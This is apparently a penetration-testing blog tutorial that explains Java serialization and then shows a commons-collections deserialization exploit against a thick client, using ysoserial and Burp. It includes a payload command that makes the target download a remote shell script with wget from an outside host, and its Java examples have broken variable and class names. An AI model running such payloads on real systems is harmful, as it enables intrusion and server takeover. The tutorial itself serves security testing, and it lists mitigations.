Skip to main content

Thick Client Penetration Testing Tutorials - Part 3 ( Java Deserialization Exploit to RCE)

Thick Client Penetration Testing – 3 (Java Deserialization Exploit: Remote Code Execution)

Welcome Readers, in the previous two blogs, we have learnt about the various test cases as well as setting up traffic for thick clients using interception proxy. Among the plethora of test cases out here, one particularly interesting is about “Remote Code Execution on thick clients”.
For this particular RCE, among one of the thick clients I was testing, it was based on Java Application.
While researching possible exploits, I noticed that there are custom deserialization methods in Apache commons-collections which has a particular “reflection logic”. This can be particularly exploited which can lead to remote command injection as well as lethal arbitrary code execution.
All applications which are java based and perform serialization/ deserialization with untrusted data to deserialize having “commons-collections” in its classpath can be exploited to run arbitrary code!
For starters, let’s cover a few concepts before we dive into the exploit.

Note: Here we are directly creating serialized exploit as well as injecting the same directly. For analysing the traffic in a clear format, I shall cover the same in next part.

What is serialization in Java?
Serialization in java is a mechanism of writing the state of an object into a byte stream. It is majorly used in Hibernate, RMI, JPA, EJB and JMS technologies.
Exactly the reverse of serialization becomes deserialization.
Why Java Serialization is needed?
This helps to transit the object's state on the network aka marshaling.




java.io.Serializable interface

Serializable is a marker interface (sans data member and method).
It is used to "mark" java classes so that objects of these classes may get certain capabilities. 
Let’s take a code snippet and analyze the concept

import java.io.Serializable; 
public class demo  implements Serializable{ 
 int id; 
 String name; 
 public test (int id, String name) { 
  this.id = id; 
  this.name = name; 
 } 
}    
In the above example, test class implements Serializable interface. Now its objects can be converted into stream.
ObjectOutputStream class
ObjectOutputStream class writes primitive data types and Java objects to an OutputStream. Only objects that support the java.io.Serializable interface can be written to streams.
Example of Java Serialization
In this example, we are going to serialize the object of test class. The writeObject() method of ObjectOutputStream class provides the functionality to serialize the object. We are saving the state of the object in the file named learn.txt.
import java.io.*; 
class Learn{ 
 public static void main(String args[])throws Exception{ 
 Person p1 =new Person(001,"Tester"); 
 FileOutputStream fout=new FileOutputStream("learn.txt"); 
  ObjectOutputStream out=new ObjectOutputStream(fout); 
  out.writeObject(s1); 
  out.flush(); 
  System.out.println("success"); 
 } 
Once we are done serializing the above, the output will be something like this:
Output ( Success) : ¬í sr PersonJìšñ#²Uw I idL

namet Ljava/lang/String;xp   Ót

Tester


Deserialization in java

Deserialization is the reverse process of reconstructing the object from the serialized state. It is the reverse operation of serialization.
The code snippet for the same is :
import java.io.*; 
class Depersist{ 
public static void main(String args[])throws Exception{ 
ObjectInputStream in=new ObjectInputStream(new FileInputStream("learn.txt")); 
Person p1=(Person)in.readObject(); 
System.out.println(s.id+" "+s.name); 
in.close(); 
 } 
Output(001,"Tester"): ¬í sr PersonJìšñ#²Uw I idL

namet Ljava/lang/String;xp   Ót

Tester



If you want to learn more, please take a look here: https://www.javatpoint.com/serialization-in-java

So now having the basics of how serialization and de serialization works, let’s head to the exploit!


Step 1: Intercept the thick client which are testing (java based) using burp.


Here we have a serialized object going through the burp request.
Step 2: At this point, we can extend the content length, to insert a malicious exploit. Hence:


Step 3:  Generating serialized exploit:
There are multiple tools by which we can create a serialized exploit. The one I am using here is Chris Frohoff's ysoserial ( https://github.com/frohoff/ysoserial )
Running the jar file with the payload type and command to execute will generate the serialized object for you.

The exploit I created is:
java -jar ysoserial.jar CommonsCollections3 “wget http://disposablewebpage.com/up/10b14792076539622.png -O /tmp/exploit.sh
For crafting payload: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'



Note, I have redirected the output to a text file for using the exploit.
Step 4: Let’s check the exploit created:


Step 5: If you notice our exploit.sh is created which is a remote shell file which will be dropped to the remote server where the java application is hosted.
Step 6: Now simply we need to replace the original request with this particular payload like this:

Replace with paste from file:





Choose the exploit.txt
Now It will look like this:


Once done, forward the request and analyse the response. If the response shows “instantiate Transformer” like this:




Then your exploit is successful!
Now on the server and you can see something like this:






 Instead of creating a file, you can also pass a command such as: 'ping google.com'.
How to mitigate the issue on server side?
·         Prevent Deserialization of Domain Objects
·         Harden the java.io.ObjectInputStream
·         Harden All java.io.ObjectInputStream Usage with an Agent
·         Delete InvokerTransformer.class file. If your application does not utilize it.


More Reference:



Comments

Popular posts from this blog

Web Services/ API Penetration Testing Part - 1

Hi Readers, today we will learn about another interesting part of Penetration Testing, this revolves around Security assessments of web services.
To start with let’s take a look at what web services are made of:
A web service is software composed of standardized XML messaging system.
The benefit of web services are since all of its communication is in XML, they are not restricted to any  operating system or programming languages
They are built on Web services are built on top of open standards such as TCP/IP, HTTP, Java, HTML, and XML.
Anatomy of Web Services
In simple language, any basic web services platform is a combination of XML and HTTP. They can be of: ·SOAP (Simple Object Access Protocol)·UDDI (Universal Description, Discovery and Integration)·WSDL (Web Services Description Language)

How does a Web Service Work
Web services depends on •             XML to tag the data ( as markup and syntax) •             SOAP to transfer a message •             WSDL to describe the availabilit…

Web Services/ API Penetration Testing Part - 2

Web Services and API Penetration Testing Part #2
Welcome readers to Part 2 of Web Services Penetration Testing. In this part, we will take a quick look into the various test cases, tools and method for security testing of Web Services. Black box Web Services Penetration Testing pre-requisite: èWeb Service Description Language (WSDL) file Grey box Web Services Penetration Testing pre-requisite: èSample requests/responses for methods along with WSDL file. Stages of Penetration Testing of Web Service: 1.Information Gathering 2.Black Box 3.Google hacking (using dorks to discover web services for websites hosted over network) 4.UDDI 5.Web Service Discovery (If no WSDL provided) 6.Authentication Type Discovery Testing Methodology: èAutomated Testing Tools ·SoapUI Pro ·OWASP ZAP ·IBM AppScan ·HP Webinspect ·WSBang ·WSMap
èManual Testing Tools ·Soap UI Free ·Burp Suite Pro ·Postman ( with burp) èExtensions: ·SAML Editor ·SAML Encoder / Decoder

Arbitrary file upload and RCE in Wonder CMS - CVE-2017-14521

By- Samrat Das

Hi Readers

Recently in one of my pentest research, I found a CMS " WonderCMS" hosted in github.
Curious to explore its functionalities, I downloaded and set it up in my local system.

After fiddling with the source code, I found that it did not have any kind of file upload security mechanism and allowed the user to upload any file type! After reporting it to them, I did not receive any security relevant response, hence decided to publish a blog on this.

Title of the Vulnerability:  Arbitrary File Upload Vulnerability Class: Security Misconfiguration Technical Details & Description: The application source code is coded in a way which allows arbitrary file extensions to be uploaded. This leads to uploading of remote shells/ malicious Trojans which can lead to complete system compromise and server takeover. CVE ID allocated:  CVE-2017-14521 Product & Service Introduction: Wonder CMS 2.3.1 WonderCMS is an open source CMS (Content Management System) built with P…